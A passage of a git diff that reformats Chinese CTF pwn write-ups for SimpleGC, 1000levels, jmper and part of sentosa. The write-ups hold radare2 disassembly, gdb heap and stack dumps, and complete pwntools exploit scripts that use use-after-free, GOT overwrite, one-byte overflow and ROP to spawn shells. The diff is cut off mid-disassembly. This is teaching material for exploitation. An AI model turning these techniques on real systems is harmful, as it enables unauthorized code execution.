- 输入 "y" 时:修改 users[i]->group,于是所有具有相同 group 的 user->group 都被修改了。这样的问题是会造成有两个同名 group 的存在。
|
||||
- 输入 "n" 时:如果 group 已经存在,则将 group->ref_count 加 1,并设置 users[i]->group 赋值为 group->group_name。否则新建一个 new_group,将 group_ref_count 设置为 1,同样将 users[i]->group 赋值为 new_group->group_name。这里同样存在问题,当修改了一个 user 的 group 之后,原 group->ref_count 并没有减 1,可能会造成溢出。
|
||||
|
||||
#### delete a user
|
||||
### delete a user
|
||||
|
||||
最后是删除 user 的操作:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400a60]> pdf @ sub.Enter_index:_1c4
|
||||
/ (fcn) sub.Enter_index:_1c4 186
|
||||
| sub.Enter_index:_1c4 ();
|
||||
@ -616,8 +638,10 @@ struct user *users[0x60];
|
||||
| `-> 0x0040127c leave
|
||||
\ 0x0040127d ret
|
||||
```
|
||||
|
||||
其中调用了函数 `sub.strcmp_139()`,如下:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400a60]> pdf @ sub.strcmp_139
|
||||
/ (fcn) sub.strcmp_139 139
|
||||
| sub.strcmp_139 (int arg_5fh);
|
||||
@ -673,14 +697,17 @@ struct user *users[0x60];
|
||||
| 0x004011c2 leave
|
||||
\ 0x004011c3 ret
|
||||
```
|
||||
|
||||
该函数的作用是遍历 groups 寻找与传入 group 相同的 groups[i],然后将 groups[i]->ref_count 减 1。这里有个问题,正如我们在 edit-a-group 分析的,通过修改 group,可能使 groups 中存在两个同名的 group,那么根据这里的逻辑,这两个同名的 group 的 ref_count 都会被减去 1,可能导致 UAF 漏洞。
|
||||
|
||||
然后是删除 user 的过程中,只释放了 user 本身和 user->group,而 user->name 没有被释放。可能导致信息泄漏。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
逆向分析完成,来简单地总结一下。
|
||||
|
||||
- 两个结构体和两个由结构体指针构成的数组:
|
||||
|
||||
```c
|
||||
struct group {
|
||||
char *group_name;
|
||||
@ -696,6 +723,7 @@ struct user {
|
||||
struct user *users[0x60]; // 0x6020e0
|
||||
struct group *groups[0x60]; // 0x6023e0
|
||||
```
|
||||
|
||||
- 添加 user 时将创建 user 结构体,name 字符串两个 chunk
|
||||
- 新建 group 时将创建 group 结构体,group_name 字符串两个 chunk
|
||||
- group 本身和 group->group_name 由 GC 线程来释放
|
||||
@ -707,8 +735,10 @@ struct group *groups[0x60]; // 0x6023e0
|
||||
|
||||
第一种方法,我们利用 ref_count 溢出的 UAF。
|
||||
|
||||
#### overflow
|
||||
### overflow
|
||||
|
||||
首先我们来溢出 ref_count:
|
||||
|
||||
```python
|
||||
def overflow():
|
||||
sleep(1)
|
||||
@ -722,7 +752,8 @@ def overflow():
|
||||
```
|
||||
|
||||
首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同):
|
||||
```
|
||||
|
||||
```text
|
||||
user: malloc(24)=0x6033c0 <= thread-1 tcache
|
||||
name: malloc(9)=0x6034a0
|
||||
group_name: malloc(24)=0x6034c0
|
||||
@ -733,8 +764,10 @@ user: free(0x6033c0) => thread-1 tcache
|
||||
group_name: free(0x6034c0) => thread-2 tcache
|
||||
group: free(0x6034e0) => thread-2 tcache
|
||||
```
|
||||
|
||||
当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins,于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环:
|
||||
```
|
||||
|
||||
```text
|
||||
user: malloc(24)=0x6033c0 <= thread-1 tcache
|
||||
name: malloc(9)=0x603500
|
||||
group_name: malloc(24)=0x603520
|
||||
@ -745,7 +778,8 @@ user: free(0x6033c0) => thread-1 tcache
|
||||
group_name: free(0x603520) => thread-2 tcache
|
||||
group: free(0x603540) => fastbin
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
user: malloc(24)=0x6033c0 <= thread-1 tcache
|
||||
name: malloc(9)=0x603540 <== fastbin
|
||||
group_name: malloc(24)=0x603560
|
||||
@ -756,13 +790,17 @@ user: free(0x6033c0) => thread-1 tcache
|
||||
group_name: free(0x603560) => fastbin
|
||||
group: free(0x603580) => fastbin
|
||||
```
|
||||
|
||||
此时的 thread-1 tcache 和 fastbin 如下所示:
|
||||
```
|
||||
|
||||
```text
|
||||
tcache: 0x6033c0
|
||||
fastbin: 0x603560 -> 0x603580
|
||||
```
|
||||
|
||||
于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache(逆序),然后再从 tcache 里取(FILO):
|
||||
```
|
||||
|
||||
```text
|
||||
user: malloc(24)=0x6033c0 <= tcache
|
||||
name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560)
|
||||
group_name: malloc(24)=0x603560 <= tcache
|
||||
@ -773,8 +811,10 @@ user: free(0x6033c0) => tcache
|
||||
group_name: free(0x603560) => fastbin
|
||||
group: free(0x6035a0) => fastbin
|
||||
```
|
||||
|
||||
再往后,其实都是重复这个过程。循环结束时的状态为:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[]
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
@ -786,12 +826,15 @@ gdb-peda$ x/2gx 0x6033a0
|
||||
gdb-peda$ x/2gx 0x603380
|
||||
0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
tcache: 0x6033c0
|
||||
fastbin: 0x603560 -> 0x6054c0
|
||||
```
|
||||
|
||||
紧接着我们再添加一个 user,导致 ref_count 溢出为 `0x100` 后,程序只有只有将低位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。
|
||||
```
|
||||
|
||||
```text
|
||||
user: malloc(24)=0x6033c0 <= tcache
|
||||
name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: )
|
||||
|
||||
@ -801,8 +844,10 @@ fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x60338
|
||||
group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0)
|
||||
group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: )
|
||||
```
|
||||
|
||||
最终结果为:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[]
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
@ -818,8 +863,10 @@ gdb-peda$ x/2gx 0x603380
|
||||
|
||||
最后将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。
|
||||
|
||||
#### uaf and leak
|
||||
### uaf and leak
|
||||
|
||||
接下来利用悬指针泄漏 libc 的地址:
|
||||
|
||||
```python
|
||||
def leak():
|
||||
add_user('b'*8, 'B'*4) # group
|
||||
@ -835,12 +882,16 @@ def leak():
|
||||
|
||||
return system_addr
|
||||
```
|
||||
|
||||
在执行该函数前的 tcache 如下:
|
||||
```
|
||||
|
||||
```text
|
||||
tcache: 0x603380
|
||||
```
|
||||
|
||||
当我们添加一个 user 时,因为 group "BBBB" 不存在,所以首先创建一个 group,然后再创建 user,这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[]
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
@ -854,8 +905,10 @@ gdb-peda$ x/3gx 0x603380
|
||||
0x603380: 0x0000000000000000 0x0000000000602030 <-- users[1]
|
||||
0x603390: 0x0000000000602030 <-- fake users[1]->group
|
||||
```
|
||||
|
||||
接下来只要 display users[1],就可以将 strlen 的地址打印出来,然而:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/gx 0x602030
|
||||
0x602030: 0x00007ffff7aa03f0
|
||||
gdb-peda$ disassemble strlen
|
||||
@ -870,10 +923,12 @@ Dump of assembler code for function strlen:
|
||||
0x00007ffff7a8bf09 <+41>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
strlen@got 指向的并不是 strlen 函数,而是它里面的 `__strlen_sse2`,这就很奇怪了。原因出在这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=dc485ceb2ac596d27294cc1942adf3181f15e8bf)。libc-2.26 中使用了 AVX2 对 strlen 系列函数进行优化。
|
||||
|
||||
那我们修改一下,反正计算偏移的方法是相同的:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ vmmap libc
|
||||
Start End Perm Name
|
||||
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/SimpleGC/libc-2.26.so
|
||||
@ -883,10 +938,13 @@ Start End Perm Name
|
||||
gdb-peda$ p 0x7ffff7aa03f0 - 0x00007ffff79f8000
|
||||
$2 = 0xa83f0
|
||||
```
|
||||
|
||||
然而就得到了 system 的地址。
|
||||
|
||||
#### get shell
|
||||
### get shell
|
||||
|
||||
最后只需要修改 strlen@got 为 system@got 就可以了:
|
||||
|
||||
```c
|
||||
def overwrite(system_addr):
|
||||
edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got
|
||||
@ -895,15 +953,18 @@ def pwn():
|
||||
add_user("/bin/sh", "B"*4) # system('/bin/sh')
|
||||
io.interactive()
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/gx 0x602030
|
||||
0x602030: 0x00007ffff7a3fdc0
|
||||
gdb-peda$ p system
|
||||
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
@ -979,15 +1040,17 @@ if __name__ == "__main__":
|
||||
```
|
||||
|
||||
虽然这一切看起来都没有问题,但我在运行的时候 system('/bin/sh') 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因:
|
||||
```
|
||||
|
||||
```text
|
||||
LD_PRELOAD=./libc-2.26.so /bin/sh
|
||||
[1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh
|
||||
```
|
||||
|
||||
应该换成 Ubuntu-17.10 试试。(本机Arch)
|
||||
|
||||
第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5137
|
||||
- https://github.com/bkth/34c3ctf/tree/master/SimpleGC
|
||||
|
||||
- <https://ctftime.org/task/5137>
|
||||
- <https://github.com/bkth/34c3ctf/tree/master/SimpleGC>
|
||||
|
@ -5,11 +5,11 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.16_pwn_hitbctf2017_1000levels)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file 1000levels
|
||||
1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped
|
||||
$ checksec -f 1000levels
|
||||
@ -19,10 +19,12 @@ $ strings libc-2.23.so | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 5.4.0 20160609.
|
||||
```
|
||||
|
||||
关闭了 Canary,开启 NX 和 PIE。于是猜测可能是栈溢出,但需要绕过 ASLR。not stripped 可以说是很开心了。
|
||||
|
||||
玩一下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./1000levels
|
||||
Welcome to 1000levels, it's much more diffcult than before.
|
||||
1. Go
|
||||
@ -41,10 +43,12 @@ Level 1
|
||||
Question: 0 * 0 = ? Answer:0
|
||||
Great job! You finished 1 levels in 1 seconds
|
||||
```
|
||||
|
||||
Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels,然后让你做算术。
|
||||
|
||||
但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./1000levels
|
||||
Welcome to 1000levels, it's much more diffcult than before.
|
||||
1. Go
|
||||
@ -78,15 +82,18 @@ Question: 1 * 1 = ? Answer:1
|
||||
Level 4
|
||||
Question: 3 * 1 = ? Answer:
|
||||
```
|
||||
|
||||
所以应该重点关注一下 Hint 功能。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
程序比较简单,基本上只有 Go 和 Hint 两个功能。
|
||||
|
||||
#### hint
|
||||
### hint
|
||||
|
||||
先来看 hint:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x000009d0]> pdf @ sym.hint
|
||||
/ (fcn) sym.hint 140
|
||||
| sym.hint ();
|
||||
@ -130,14 +137,16 @@ vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
|
||||
[0x000009d0]> is~show_hint
|
||||
051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint
|
||||
```
|
||||
|
||||
可以看到 `system()` 的地址被复制到栈上(`local_110h`),然后对全局变量 `show_hint` 进行判断,如果为 0,打印字符串 “NO PWN NO FUN”,否则打印 `system()` 的地址。
|
||||
|
||||
为了绕过 ASLR,我们需要信息泄漏,如果能够修改 `show_hint`,那我们就可以得到 `system()` 的地址。但是 `show_hint` 放在 `.bss` 段上,程序开启了 PIE,地址随机无法修改。
|
||||
|
||||
### go
|
||||
|
||||
#### go
|
||||
继续看 go:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x000009d0]> pdf @ sym.go
|
||||
/ (fcn) sym.go 372
|
||||
| sym.go ();
|
||||
@ -230,12 +239,14 @@ vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
|
||||
| `--> 0x00000cee leave
|
||||
\ 0x00000cef ret
|
||||
```
|
||||
|
||||
可以看到第一个数 num1 被读到 `local_120h`,如果大于 0,num1 被复制到 `local_110h`,然后读取第二个数 num2 到 `local_120h`,将两个数相加再存到 `local_110h`。但是如果 num1 小于等于 0,程序会直接执行读取 num2 到 `local_120h` 的操作,然后读取 `local_110h` 的数值作为 num1,将两数相加。整个过程都没有对 `local_110h` 进行初始化,程序似乎默认了 `local_110h` 的值是 0,然而事实并非如此。回想一下 hint 操作,放置 system 的地址正是 `local_110h`(两个函数的rbp相同)。这是一个内存未初始化造成的漏洞。
|
||||
|
||||
接下来,根据两数相加的和,程序有三条路径,如果和小于 0,程序返回到开始菜单;如果和大于 0 且小于 1000,进入游戏;如果和大于 1000,则将其设置为最大值 1000,进入游戏。
|
||||
|
||||
然后来看游戏函数 `sym.level_int()`:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x000009d0]> pdf @ sym.level_int
|
||||
/ (fcn) sym.level_int 289
|
||||
| sym.level_int ();
|
||||
@ -337,20 +348,24 @@ vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
|
||||
| ```--> 0x00000f4c leave
|
||||
\ 0x00000f4d ret
|
||||
```
|
||||
|
||||
可以看到 `read()` 函数有一个很明显的栈溢出漏洞,`local_30h` 并没有 `0x400` 这么大的空间。由于游戏是递归的,所以我们需要答对前 999 道题,在最后一题时溢出,构造 ROP。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
总结一下,程序存在两个漏洞:
|
||||
|
||||
- hint 函数将 system 放到栈上,而 go 函数在使用该地址时未进行初始化
|
||||
- level 函数存在栈溢出
|
||||
|
||||
关于利用的问题也有两个:
|
||||
|
||||
- 虽然 system 被放到了栈上,但我们不能设置其参数
|
||||
- 程序开启了 PIE,但没有可以进行信息泄漏的漏洞
|
||||
|
||||
对于第一个问题,我们有不需要参数的 one-gadget 可以用,通过将输入的第二个数设置为偏移,即可通过程序的计算将 system 修改为 one-gadget。
|
||||
```
|
||||
|
||||
```text
|
||||
$ one_gadget libc-2.23.so
|
||||
0x45216 execve("/bin/sh", rsp+0x30, environ)
|
||||
constraints:
|
||||
@ -368,10 +383,12 @@ constraints:
|
||||
constraints:
|
||||
[rsp+0x70] == NULL
|
||||
```
|
||||
|
||||
这里我们选择 `0x4526a` 地址上的 one-gadget。
|
||||
|
||||
第二个问题,在随机化的情况下怎么找到可用的 `ret` gadget?这时候可以利用 vsyscall,这是一个固定的地址。(参考章节4.15)
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ vmmap vsyscall
|
||||
Start End Perm Name
|
||||
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
|
||||
@ -382,10 +399,12 @@ gdb-peda$ x/5i 0xffffffffff600000
|
||||
0xffffffffff60000a: int3
|
||||
0xffffffffff60000b: int3
|
||||
```
|
||||
|
||||
但我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。
|
||||
|
||||
最后一次的 payload 和调试结果如下:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/11gx 0x7fffffffec10-0x50
|
||||
0x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x30
|
||||
0x7fffffffebd0: 0x4141414141414141 0x4141414141414141
|
||||
@ -394,7 +413,8 @@ gdb-peda$ x/11gx 0x7fffffffec10-0x50
|
||||
0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret
|
||||
0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ ni
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x0
|
||||
@ -437,10 +457,12 @@ EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
|
||||
Legend: code, data, rodata, value
|
||||
0x0000555555554f4d in level(int) ()
|
||||
```
|
||||
|
||||
三次 return 之后,就会跳到 one-gadget 上去。
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Starting local process './1000levels': pid 6901
|
||||
[*] Switching to interactive mode
|
||||
@ -448,8 +470,10 @@ $ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
@ -489,6 +513,6 @@ if __name__ == "__main__":
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/4539
|
||||
|
||||
- <https://ctftime.org/task/4539>
|
||||
|
@ -5,11 +5,11 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.17_pwn_secconctf2016_jmper)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file jmper
|
||||
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
|
||||
$ checksec -f jmper
|
||||
@ -19,10 +19,12 @@ $ strings libc-2.19.so | grep "GNU C"
|
||||
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 4.8.4.
|
||||
```
|
||||
|
||||
64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。
|
||||
|
||||
在 Ubuntu-14.04 上玩一下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ LD_PRELOAD=./libc-2.19.so ./jmper
|
||||
Welcome to my class.
|
||||
My class is up to 30 people :)
|
||||
@ -75,14 +77,16 @@ BBBB1. Add student.
|
||||
6. Bye :)
|
||||
6
|
||||
```
|
||||
|
||||
似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
程序主要由两部分组成,一个是 `main()` 函数,另一个是实现了所有功能的 `f()` 函数。
|
||||
|
||||
#### main
|
||||
```
|
||||
### main
|
||||
|
||||
```text
|
||||
[0x00400730]> pdf @ main
|
||||
/ (fcn) main 170
|
||||
| main ();
|
||||
@ -135,9 +139,11 @@ BBBB1. Add student.
|
||||
[0x00400730]> iS ~bss
|
||||
24 0x00002010 0 0x00602010 48 --rw- .bss
|
||||
```
|
||||
|
||||
在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 `my_class`(`0x00602030`)。另一块用于存放一个 `jmp_buf` 结构体,这个结构体中保存当前上下文,结构体的地址放在 `jmpbuf`(`0x00602038`)。并且这两个符号都在 `.bss` 段中。
|
||||
|
||||
这里就涉及到 `setjmp()` 和 `longjmp()` 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:
|
||||
|
||||
```c
|
||||
#include <setjmp.h>
|
||||
|
||||
@ -145,6 +151,7 @@ int setjmp(jmp_buf env);
|
||||
|
||||
void longjmp(jmp_buf env, int val);
|
||||
```
|
||||
|
||||
- `setjmp()`:将函数在此处的上下文保存到 `jmp_buf` 结构体,以供 longjmp 从此结构体中恢复上下文
|
||||
- `env`:保存上下文的 `jmp_buf` 结构体变量
|
||||
- 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。
|
||||
@ -154,9 +161,11 @@ void longjmp(jmp_buf env, int val);
|
||||
|
||||
`longjmp()` 执行完之后,程序就回到了 `setjmp()` 的下一条语句继续执行。
|
||||
|
||||
#### f
|
||||
### f
|
||||
|
||||
接下来我们看一下各功能的实现(程序设计真的要吐槽一下):
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00400730]> pdf @ sym.f
|
||||
/ (fcn) sym.f 907
|
||||
| sym.f ();
|
||||
@ -408,9 +417,11 @@ void longjmp(jmp_buf env, int val);
|
||||
[0x00400730]> is ~student_num
|
||||
048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num
|
||||
```
|
||||
|
||||
首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 `exit()`,另一个是 `longjmp()` 跳回 main 函数,既然这么设置那当然是有用意的。
|
||||
|
||||
通过分析,可以得到 student 结构体和数组 my_class:
|
||||
|
||||
```c
|
||||
struct student {
|
||||
uint8_t id;
|
||||
@ -423,11 +434,12 @@ struct student *my_class[0x1e];
|
||||
|
||||
漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system('/bin/sh') 获得 shell。
|
||||
|
||||
#### overflow
|
||||
### overflow
|
||||
|
||||
```python
|
||||
def overflow():
|
||||
add() # idx 0
|
||||
@ -437,7 +449,8 @@ def overflow():
|
||||
```
|
||||
|
||||
首先添加两个 student:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ p student_num
|
||||
$1 = 0x2
|
||||
gdb-peda$ x/2gx my_class
|
||||
@ -459,8 +472,10 @@ gdb-peda$ x/30gx *my_class-0x10
|
||||
0x6032a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk
|
||||
```
|
||||
|
||||
然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/30gx *my_class-0x10
|
||||
0x6031d0: 0x0000000000000000 0x0000000000000041
|
||||
0x6031e0: 0x0000000000000000 0x4141414141414141
|
||||
@ -478,10 +493,13 @@ gdb-peda$ x/30gx *my_class-0x10
|
||||
0x6032a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6032b0: 0x0000000000000000 0x0000000000020d51
|
||||
```
|
||||
|
||||
通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。
|
||||
|
||||
#### leak
|
||||
### leak
|
||||
|
||||
然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:
|
||||
|
||||
```python
|
||||
def leak():
|
||||
global system_addr
|
||||
@ -504,17 +522,19 @@ def leak():
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("main return address: 0x%x" % main_ret_addr)
|
||||
```
|
||||
|
||||
于是我们就得到了 system 函数的地址和 main 函数的返回地址。
|
||||
|
||||
这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。
|
||||
|
||||
```
|
||||
```text
|
||||
[*] libc base: 0x7ffff7a15000
|
||||
[*] system address: 0x7ffff7a5b590
|
||||
[*] main return address: 0x7fffffffed78
|
||||
```
|
||||
|
||||
#### overwrite
|
||||
### overwrite
|
||||
|
||||
```python
|
||||
def overwrite():
|
||||
write_name(0, p64(0x602028)) # student_num
|
||||
@ -522,9 +542,10 @@ def overwrite():
|
||||
write_name(0, p64(main_ret_addr))
|
||||
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
|
||||
```
|
||||
|
||||
接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。
|
||||
|
||||
```
|
||||
```text
|
||||
gdb-peda$ x/s 0x602028
|
||||
0x602028 <student_num>: "/bin/sh"
|
||||
gdb-peda$ x/3gx 0x7fffffffed78
|
||||
@ -532,7 +553,8 @@ gdb-peda$ x/3gx 0x7fffffffed78
|
||||
0x7fffffffed88: 0x00007ffff7a5b590
|
||||
```
|
||||
|
||||
#### pwn
|
||||
### pwn
|
||||
|
||||
```python
|
||||
def pwn():
|
||||
add() # call longjmp to back to main
|
||||
@ -540,7 +562,8 @@ def pwn():
|
||||
```
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Starting local process './jmper': pid 3935
|
||||
[*] Switching to interactive mode
|
||||
@ -550,8 +573,10 @@ $ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
@ -629,6 +654,6 @@ if __name__ == "__main__":
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/3169
|
||||
|
||||
- <https://ctftime.org/task/3169>
|
||||
|
@ -5,11 +5,11 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.18_pwn_hitbctf2017_sentosa)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file sentosa
|
||||
sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped
|
||||
$ checksec -f sentosa
|
||||
@ -19,10 +19,12 @@ $ strings libc-2.23.so | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 5.4.0 20160609.
|
||||
```
|
||||
|
||||
保护全开,默认开启 ASLR。
|
||||
|
||||
在 Ubuntu-16.04 上玩一下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./sentosa
|
||||
Welcome to Sentosa Development Center
|
||||
Choose your action:
|
||||
@ -69,10 +71,12 @@ Choose your action:
|
||||
4
|
||||
Input your projects number: 0
|
||||
```
|
||||
|
||||
可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。
|
||||
|
||||
现在我们给 length 输入 0 试试看:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./sentosa
|
||||
Welcome to Sentosa Development Center
|
||||
Choose your action:
|
||||
@ -91,14 +95,16 @@ Your project is No.0
|
||||
*** stack smashing detected ***: ./sentosa terminated
|
||||
[2] 5673 abort (core dumped) ./sentosa
|
||||
```
|
||||
|
||||
造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
下面我们依次来逆向这些函数。
|
||||
|
||||
#### Start a project
|
||||
```
|
||||
### Start a project
|
||||
|
||||
```text
|
||||
[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0
|
||||
/ (fcn) sub.There_are_too_much_projects_ca0 482
|
||||
| sub.There_are_too_much_projects_ca0 ();
|
||||
@ -225,7 +231,9 @@ Your project is No.0
|
||||
| | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0)
|
||||
